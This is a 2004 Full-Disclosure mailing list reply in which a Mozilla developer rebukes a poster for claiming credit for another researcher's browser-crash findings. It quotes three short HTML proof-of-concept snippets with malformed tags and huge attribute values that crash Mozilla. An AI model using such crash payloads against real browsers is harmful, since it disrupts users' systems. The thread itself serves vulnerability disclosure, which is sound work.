[Full-Disclosure] Re: Mozilla crashes
From: Daniel Veditz (dveditz_at_cruzio.com)
Date: 10/20/04
- Previous message: Thierry Carrez: "[Full-Disclosure] [ GLSA 200410-18 ] Ghostscript: Insecure temporary file use in multiple scripts"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: Stefan_Anzlinger@mis-software.de Date: Wed, 20 Oct 2004 13:34:50 -0700
It's quite rude of you to claim credit for someone else's discoveries. You
owe Michal Zalewski an apology.
-Dan Veditz
Stefan Anzlinger wrote:
> Hi, I have find these security bugs! If you put this code in a html file and
> save it, open it with mozilla, it crashed with a memmory error. The IE does
> not crash!On several systems it will create a dumb...Now I have experience
> with a html code, which deactivate the mozilla security features...
>
>
> <HTML>
> <HEAD>
> <TABLE>
> <APPLET>
> <MAP>
> <COL SPAN=900000000>
>
>
>
> The next code is
>
>
> <HTML><INPUT AAAAAAAAAA>
>
>
>
> The next html code is
>
>
> <HTML>
> <HEAD>
> <MARQUEE>
> <TABLE>
> <MARQUEE HEIGHT=100000000>
> <MARQUEE HEIGHT=100000000>
> <MARQUEE HEIGHT=100000000>
> <MARQUEE HEIGHT=100000000>
> <MARQUEE HEIGHT=100000000>
> <MARQUEE HEIGHT=100000000>
> <MARQUEE HEIGHT=100000000>
> <MARQUEE HEIGHT=100000000>
> <MARQUEE HEIGHT=100000000>
> <MARQUEE HEIGHT=100000000>
> <MARQUEE HEIGHT=100000000>
> <TBODY>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Previous message: Thierry Carrez: "[Full-Disclosure] [ GLSA 200410-18 ] Ghostscript: Insecure temporary file use in multiple scripts"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]